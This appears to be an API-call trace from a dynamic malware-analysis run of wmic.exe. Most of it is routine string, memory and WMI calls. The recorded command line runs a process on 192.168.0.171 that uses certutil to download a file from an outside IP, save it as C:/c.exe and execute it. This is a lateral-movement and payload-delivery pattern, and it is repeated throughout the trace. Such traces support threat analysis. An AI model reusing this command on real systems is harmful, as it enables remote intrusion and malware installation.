[0098.970] malloc (_Size=0xc) returned 0x9622b8 [0098.970] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.970] SysStringLen (param_1="TABLE") returned 0x5 [0098.970] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.970] SysStringLen (param_1="XML") returned 0x3 [0098.970] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.970] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.970] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.970] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.970] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.970] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.970] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.970] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0098.970] malloc (_Size=0x18) returned 0x1beaa8 [0098.970] IUnknown:Release (This=0x924b20) returned 0x0 [0098.970] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.970] IUnknown:Release (This=0x928c98) returned 0x0 [0098.970] IXMLDOMNodeList:get_item (in: This=0x928e80, index=15, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.970] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="htable.xsl") returned 0x0 [0098.970] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.970] malloc (_Size=0xc) returned 0x9622d0 [0098.970] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.971] free (_Block=0x9622d0) [0098.971] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="htable-sortby.xsl", varVal2=0x0)) returned 0x0 [0098.971] malloc (_Size=0xc) returned 0x9622d0 [0098.971] malloc (_Size=0xc) returned 0x9622e8 [0098.971] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.971] SysStringLen (param_1="TABLE") returned 0x5 [0098.971] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.971] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.971] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.971] SysStringLen (param_1="XML") returned 0x3 [0098.971] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.971] SysStringLen (param_1="texttablewsys") returned 0xd [0098.972] SysStringLen (param_1="XML") returned 0x3 [0098.972] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.972] malloc (_Size=0x18) returned 0x1beac8 [0098.972] IUnknown:Release (This=0x924b20) returned 0x0 [0098.972] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.972] IUnknown:Release (This=0x928c98) returned 0x0 [0098.972] IXMLDOMNodeList:get_item (in: This=0x928e80, index=16, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.972] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="htable.xsl") returned 0x0 [0098.972] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.972] malloc (_Size=0xc) returned 0x962300 [0098.972] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.972] free (_Block=0x962300) [0098.972] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="htable-sortby", varVal2=0x0)) returned 0x0 [0098.972] malloc (_Size=0xc) returned 0x962300 [0098.972] malloc (_Size=0xc) returned 0x962318 [0098.972] SysStringLen (param_1="htable-sortby") returned 0xd [0098.972] SysStringLen (param_1="TABLE") returned 0x5 [0098.972] SysStringLen (param_1="htable-sortby") returned 0xd [0098.972] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.972] SysStringLen (param_1="htable-sortby") returned 0xd [0098.973] SysStringLen (param_1="XML") returned 0x3 [0098.973] SysStringLen (param_1="htable-sortby") returned 0xd [0098.973] SysStringLen (param_1="texttablewsys") returned 0xd [0098.973] SysStringLen (param_1="htable-sortby") returned 0xd [0098.973] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0098.973] SysStringLen (param_1="XML") returned 0x3 [0098.973] SysStringLen (param_1="htable-sortby") returned 0xd [0098.973] malloc (_Size=0x18) returned 0x1beae8 [0098.973] IUnknown:Release (This=0x924b20) returned 0x0 [0098.973] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.973] IUnknown:Release (This=0x928c98) returned 0x0 [0098.973] IXMLDOMNodeList:get_item (in: This=0x928e80, index=17, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.973] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="mof.xsl") returned 0x0 [0098.973] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.973] malloc (_Size=0xc) returned 0x962330 [0098.973] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.973] free (_Block=0x962330) [0098.973] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclimofformat.xsl", varVal2=0x0)) returned 0x0 [0098.973] malloc (_Size=0xc) returned 0x962330 [0098.973] malloc (_Size=0xc) returned 0x962348 [0098.973] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.973] SysStringLen (param_1="TABLE") returned 0x5 [0098.973] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.973] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.973] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.974] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.974] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.974] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.974] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.974] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.974] malloc (_Size=0x18) returned 0x1beb08 [0098.974] IUnknown:Release (This=0x924b20) returned 0x0 [0098.974] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.974] IUnknown:Release (This=0x928c98) returned 0x0 [0098.974] IXMLDOMNodeList:get_item (in: This=0x928e80, index=18, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.974] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="mof.xsl") returned 0x0 [0098.974] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.974] malloc (_Size=0xc) returned 0x962360 [0098.974] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.974] free (_Block=0x962360) [0098.974] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclimofformat", varVal2=0x0)) returned 0x0 [0098.974] malloc (_Size=0xc) returned 0x962360 [0098.974] malloc (_Size=0xc) returned 0x962378 [0098.974] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.974] SysStringLen (param_1="TABLE") returned 0x5 [0098.974] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.974] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.974] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.975] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.975] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.975] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0098.975] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.975] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0098.975] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.975] SysStringLen (param_1="wmiclimofformat") returned 0xf [0098.975] malloc (_Size=0x18) returned 0x1beb28 [0098.975] IUnknown:Release (This=0x924b20) returned 0x0 [0098.975] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.975] IUnknown:Release (This=0x928c98) returned 0x0 [0098.975] IXMLDOMNodeList:get_item (in: This=0x928e80, index=19, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.975] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="textvaluelist.xsl") returned 0x0 [0098.975] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.975] malloc (_Size=0xc) returned 0x962390 [0098.975] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.975] free (_Block=0x962390) [0098.975] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclivalueformat.xsl", varVal2=0x0)) returned 0x0 [0098.975] malloc (_Size=0xc) returned 0x962390 [0098.975] malloc (_Size=0xc) returned 0x9623a8 [0098.975] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.976] SysStringLen (param_1="TABLE") returned 0x5 [0098.976] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.976] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.976] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.976] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.976] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.976] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.976] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.976] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.976] malloc (_Size=0x18) returned 0x1beb48 [0098.976] IUnknown:Release (This=0x924b20) returned 0x0 [0098.976] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.976] IUnknown:Release (This=0x928c98) returned 0x0 [0098.976] IXMLDOMNodeList:get_item (in: This=0x928e80, index=20, listItem=0x12fd50 | out: listItem=0x12fd50*=0x924b20) returned 0x0 [0098.976] IXMLDOMNode:get_text (in: This=0x924b20, text=0x12fd58 | out: text=0x12fd58*="textvaluelist.xsl") returned 0x0 [0098.976] IXMLDOMNode:get_attributes (in: This=0x924b20, attributeMap=0x12fd4c | out: attributeMap=0x12fd4c*=0x928cf8) returned 0x0 [0098.976] malloc (_Size=0xc) returned 0x9623c0 [0098.976] IXMLDOMNamedNodeMap:getNamedItem (in: This=0x928cf8, name="KEYWORD", namedItem=0x12fd48 | out: namedItem=0x12fd48*=0x928c98) returned 0x0 [0098.976] free (_Block=0x9623c0) [0098.976] IXMLDOMNode:get_nodeValue (in: This=0x928c98, value=0x12fcf4 | out: value=0x12fcf4*(varType=0x8, wReserved1=0x1b, wReserved2=0x3318, wReserved3=0x1b, varVal1="wmiclivalueformat", varVal2=0x0)) returned 0x0 [0098.976] malloc (_Size=0xc) returned 0x9623c0 [0098.976] malloc (_Size=0xc) returned 0x9623d8 [0098.976] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.976] SysStringLen (param_1="TABLE") returned 0x5 [0098.976] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.977] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0098.977] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.977] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0098.977] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.977] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.977] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.977] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0098.977] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0098.977] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0098.977] malloc (_Size=0x18) returned 0x1beb68 [0098.977] IUnknown:Release (This=0x924b20) returned 0x0 [0098.977] IUnknown:Release (This=0x928cf8) returned 0x0 [0098.977] IUnknown:Release (This=0x928c98) returned 0x0 [0098.977] IUnknown:Release (This=0x928e80) returned 0x0 [0098.977] FreeThreadedDOMDocument:IUnknown:Release (This=0x928c58) returned 0x1 [0098.977] FreeThreadedDOMDocument:IUnknown:Release (This=0x924630) returned 0x0 [0098.977] free (_Block=0x1b3330) [0098.977] GetCommandLineW () returned="wmic /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"" [0098.977] malloc (_Size=0x130) returned 0x1bfbf0 [0098.977] memcpy_s (in: _Destination=0x1bfbf0, _DestinationSize=0x12e, _Source=0x5f1976, _SourceSize=0x126 | out: _Destination=0x1bfbf0) returned 0x0 [0098.977] malloc (_Size=0xc) returned 0x9623f0 [0098.977] malloc (_Size=0xc) returned 0x962408 [0098.977] malloc (_Size=0xc) returned 0x962420 [0098.977] malloc (_Size=0xc) returned 0x962460 [0098.977] malloc (_Size=0x80) returned 0x9605b0 [0098.978] GetLocalTime (in: lpSystemTime=0x12fd00 | out: lpSystemTime=0x12fd00*(wYear=0x7e4, wMonth=0x1, wDayOfWeek=0x2, wDay=0xe, wHour=0x1, wMinute=0x29, wSecond=0x28, wMilliseconds=0xc6)) [0098.978] _vsnwprintf (in: _Buffer=0x9605b0, _BufferCount=0x3f, _Format="%.2d-%.2d-%.4dT%.2d:%.2d:%.2d", _ArgList=0x12fce0 | out: _Buffer="01-14-2020T01:41:40") returned 19 [0098.978] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.978] malloc (_Size=0x120) returned 0x1bfd28 [0098.978] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.978] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.978] malloc (_Size=0x120) returned 0x1bfe50 [0098.978] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.978] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.978] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.978] malloc (_Size=0x4) returned 0x1b3330 [0098.978] lstrlenW (lpString="/") returned 1 [0098.978] malloc (_Size=0x4) returned 0x1bff78 [0098.978] malloc (_Size=0x4) returned 0x1bff88 [0098.978] free (_Block=0x0) [0098.978] free (_Block=0x1b3330) [0098.978] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.978] malloc (_Size=0x26) returned 0x1bff98 [0098.978] malloc (_Size=0xa) returned 0x962478 [0098.978] lstrlenW (lpString="ASSOC") returned 5 [0098.978] lstrlenW (lpString="node") returned 4 [0098.978] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="ASSOC", cchCount2=5) returned 3 [0098.978] lstrlenW (lpString="FORMAT") returned 6 [0098.978] lstrlenW (lpString="node") returned 4 [0098.978] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="FORMAT", cchCount2=6) returned 3 [0098.978] free (_Block=0x962478) [0098.978] lstrlenW (lpString="/") returned 1 [0098.978] lstrlenW (lpString="/") returned 1 [0098.978] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0098.978] free (_Block=0x0) [0098.978] lstrlenW (lpString="node") returned 4 [0098.978] _wcsicmp (_String1="node", _String2="\"NULL\"") returned 76 [0098.978] malloc (_Size=0xa) returned 0x962478 [0098.978] lstrlenW (lpString="node") returned 4 [0098.978] malloc (_Size=0x8) returned 0x1b3330 [0098.978] memmove_s (in: _Destination=0x1b3330, _DestinationSize=0x4, _Source=0x1bff88, _SourceSize=0x4 | out: _Destination=0x1b3330) returned 0x0 [0098.979] free (_Block=0x1bff88) [0098.979] malloc (_Size=0x4) returned 0x1bff88 [0098.979] malloc (_Size=0xc) returned 0x962490 [0098.979] memmove_s (in: _Destination=0x962490, _DestinationSize=0x8, _Source=0x1b3330, _SourceSize=0x8 | out: _Destination=0x962490) returned 0x0 [0098.979] free (_Block=0x1b3330) [0098.979] lstrlenW (lpString="192.168.0.171") returned 13 [0098.979] _wcsicmp (_String1="192.168.0.171", _String2="\"NULL\"") returned 15 [0098.979] malloc (_Size=0x1c) returned 0x962848 [0098.979] malloc (_Size=0x10) returned 0x9624a8 [0098.979] memmove_s (in: _Destination=0x9624a8, _DestinationSize=0xc, _Source=0x962490, _SourceSize=0xc | out: _Destination=0x9624a8) returned 0x0 [0098.979] free (_Block=0x962490) [0098.979] free (_Block=0x0) [0098.979] free (_Block=0x1bff98) [0098.979] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.979] malloc (_Size=0x10) returned 0x962490 [0098.979] lstrlenW (lpString="process") returned 7 [0098.979] _wcsicmp (_String1="process", _String2="\"NULL\"") returned 78 [0098.979] malloc (_Size=0x10) returned 0x9624c0 [0098.979] malloc (_Size=0x18) returned 0x1beb88 [0098.979] memmove_s (in: _Destination=0x1beb88, _DestinationSize=0x10, _Source=0x9624a8, _SourceSize=0x10 | out: _Destination=0x1beb88) returned 0x0 [0098.979] free (_Block=0x9624a8) [0098.979] free (_Block=0x0) [0098.979] free (_Block=0x962490) [0098.979] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.979] malloc (_Size=0xa) returned 0x962490 [0098.979] lstrlenW (lpString="call") returned 4 [0098.979] _wcsicmp (_String1="call", _String2="\"NULL\"") returned 65 [0098.979] malloc (_Size=0xa) returned 0x9624a8 [0098.979] free (_Block=0x0) [0098.979] free (_Block=0x962490) [0098.979] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.979] malloc (_Size=0xe) returned 0x962490 [0098.979] lstrlenW (lpString="create") returned 6 [0098.979] _wcsicmp (_String1="create", _String2="\"NULL\"") returned 65 [0098.979] malloc (_Size=0xe) returned 0x9624d8 [0098.979] malloc (_Size=0x24) returned 0x1bff98 [0098.979] memmove_s (in: _Destination=0x1bff98, _DestinationSize=0x18, _Source=0x1beb88, _SourceSize=0x18 | out: _Destination=0x1bff98) returned 0x0 [0098.979] free (_Block=0x1beb88) [0098.979] free (_Block=0x0) [0098.979] free (_Block=0x962490) [0098.980] lstrlenW (lpString=" /node:192.168.0.171 process call create \"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 143 [0098.980] malloc (_Size=0xca) returned 0x962870 [0098.980] lstrlenW (lpString="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 100 [0098.980] _wcsicmp (_String1="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"", _String2="\"NULL\"") returned -11 [0098.980] lstrlenW (lpString="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 100 [0098.980] lstrlenW (lpString="\"cmd.exe /c certutil.exe -urlcache -split -f http://58.221.158.90:88/car/down.txt C:/c.exe&C:\\c.exe\"") returned 100 [0098.980] malloc (_Size=0xca) returned 0x962948 [0098.980] free (_Block=0x0) [0098.980] free (_Block=0x962870) [0098.980] malloc (_Size=0x20) returned 0x962870 [0098.980] lstrlenW (lpString="QUIT") returned 4 [0098.980] lstrlenW (lpString="/") returned 1 [0098.980] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="QUIT", cchCount2=4) returned 1 [0098.980] lstrlenW (lpString="EXIT") returned 4 [0098.980] lstrlenW (lpString="/") returned 1 [0098.980] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="EXIT", cchCount2=4) returned 1 [0098.980] free (_Block=0x962870) [0098.980] WbemLocator:IUnknown:AddRef (This=0xa60828) returned 0x2 [0098.980] malloc (_Size=0x20) returned 0x962870 [0098.980] lstrlenW (lpString="/") returned 1 [0098.980] lstrlenW (lpString="/") returned 1 [0098.980] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="/", cchCount1=1, lpString2="/", cchCount2=1) returned 2 [0098.980] lstrlenW (lpString="NAMESPACE") returned 9 [0098.980] lstrlenW (lpString="node") returned 4 [0098.980] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="NAMESPACE", cchCount2=9) returned 3 [0098.980] lstrlenW (lpString="ROLE") returned 4 [0098.980] lstrlenW (lpString="node") returned 4 [0098.980] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="ROLE", cchCount2=4) returned 1 [0098.980] lstrlenW (lpString="NODE") returned 4 [0098.980] lstrlenW (lpString="node") returned 4 [0098.980] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="node", cchCount1=4, lpString2="NODE", cchCount2=4) returned 2 [0098.980] lstrlenW (lpString=":") returned 1 [0098.980] lstrlenW (lpString=":") returned 1 [0098.981] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1=":", cchCount1=1, lpString2=":", cchCount2=1) returned 2 [0098.981] lstrlenW (lpString="/") returned 1 [0098.981] lstrlenW (lpString="192.168.0.171") returned 13 [0098.981] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="/", cchCount2=1) returned 3 [0098.981] lstrlenW (lpString="-") returned 1 [0098.981] lstrlenW (lpString="192.168.0.171") returned 13 [0098.981] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="-", cchCount2=1) returned 3 [0098.981] ??0CHString@@QAE@PBG@Z () returned 0x12fc94 [0098.981] ?GetData@CHString@@IBEPAUCHStringData@@XZ () returned 0x962898 [0098.982] ?TrimLeft@CHString@@QAEXXZ () returned 0x962898 [0098.982] ?TrimRight@CHString@@QAEXXZ () returned 0x0 [0098.982] ??1CHString@@QAE@XZ () returned 0x1 [0098.982] free (_Block=0x1b2cb0) [0098.982] lstrlenW (lpString="") returned 0 [0098.982] lstrlenW (lpString="") returned 0 [0098.982] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0098.982] free (_Block=0x1b2c48) [0098.982] lstrlenW (lpString="XDUWTFONO") returned 9 [0098.982] malloc (_Size=0x14) returned 0x1beb88 [0098.982] lstrlenW (lpString="XDUWTFONO") returned 9 [0098.982] lstrlenW (lpString="XDUWTFONO") returned 9 [0098.982] malloc (_Size=0x14) returned 0x1beba8 [0098.982] lstrlenW (lpString="XDUWTFONO") returned 9 [0098.982] lstrlenW (lpString="") returned 0 [0098.982] lstrlenW (lpString="192.168.0.171") returned 13 [0098.982] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="", cchCount2=0) returned 3 [0098.982] lstrlenW (lpString=".") returned 1 [0098.982] lstrlenW (lpString="192.168.0.171") returned 13 [0098.982] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2=".", cchCount2=1) returned 3 [0098.982] lstrlenW (lpString="LOCALHOST") returned 9 [0098.982] lstrlenW (lpString="192.168.0.171") returned 13 [0098.982] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="LOCALHOST", cchCount2=9) returned 1 [0098.982] lstrlenW (lpString="XDUWTFONO") returned 9 [0098.983] lstrlenW (lpString="192.168.0.171") returned 13 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="192.168.0.171", cchCount1=13, lpString2="XDUWTFONO", cchCount2=9) returned 1 [0098.983] lstrlenW (lpString="192.168.0.171") returned 13 [0098.983] malloc (_Size=0x1c) returned 0x962898 [0098.983] lstrlenW (lpString="192.168.0.171") returned 13 [0098.983] lstrlenW (lpString="192.168.0.171") returned 13 [0098.983] lstrlenW (lpString="XDUWTFONO") returned 9 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="XDUWTFONO", cchCount1=9, lpString2="192.168.0.171", cchCount2=13) returned 3 [0098.983] malloc (_Size=0x8) returned 0x1b3330 [0098.983] memmove_s (in: _Destination=0x1b3330, _DestinationSize=0x4, _Source=0x1b3fd8, _SourceSize=0x4 | out: _Destination=0x1b3330) returned 0x0 [0098.983] free (_Block=0x1b3fd8) [0098.983] lstrlenW (lpString=",") returned 1 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2=",", cchCount2=1) returned 3 [0098.983] lstrlenW (lpString="/") returned 1 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="/", cchCount2=1) returned 3 [0098.983] lstrlenW (lpString="-") returned 1 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="-", cchCount2=1) returned 3 [0098.983] lstrlenW (lpString="CLASS") returned 5 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="CLASS", cchCount2=5) returned 3 [0098.983] lstrlenW (lpString="PATH") returned 4 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="PATH", cchCount2=4) returned 3 [0098.983] lstrlenW (lpString="CONTEXT") returned 7 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="process", cchCount1=7, lpString2="CONTEXT", cchCount2=7) returned 3 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] malloc (_Size=0x10) returned 0x962490 [0098.983] lstrlenW (lpString="process") returned 7 [0098.983] GetCurrentThreadId () returned 0x1040 [0098.983] ??0CHString@@QAE@XZ () returned 0x12fc54 [0098.983] malloc (_Size=0xc) returned 0x9624f0 [0098.984] malloc (_Size=0xc) returned 0x962508 [0098.984] WbemLocator:IWbemLocator:ConnectServer (in: This=0xa60828, strNetworkResource="root\\cli", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xe9c1e0 | out: ppNamespace=0xe9c1e0*=0xa6d00c) returned 0x0 [0100.674] free (_Block=0x962508) [0100.674] free (_Block=0x9624f0) [0100.674] CoSetProxyBlanket (pProxy=0xa6d00c, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0100.674] ??1CHString@@QAE@XZ () returned 0x73dd0504 [0100.674] GetCurrentThreadId () returned 0x1040 [0100.674] ??0CHString@@QAE@XZ () returned 0x12fbec [0100.674] malloc 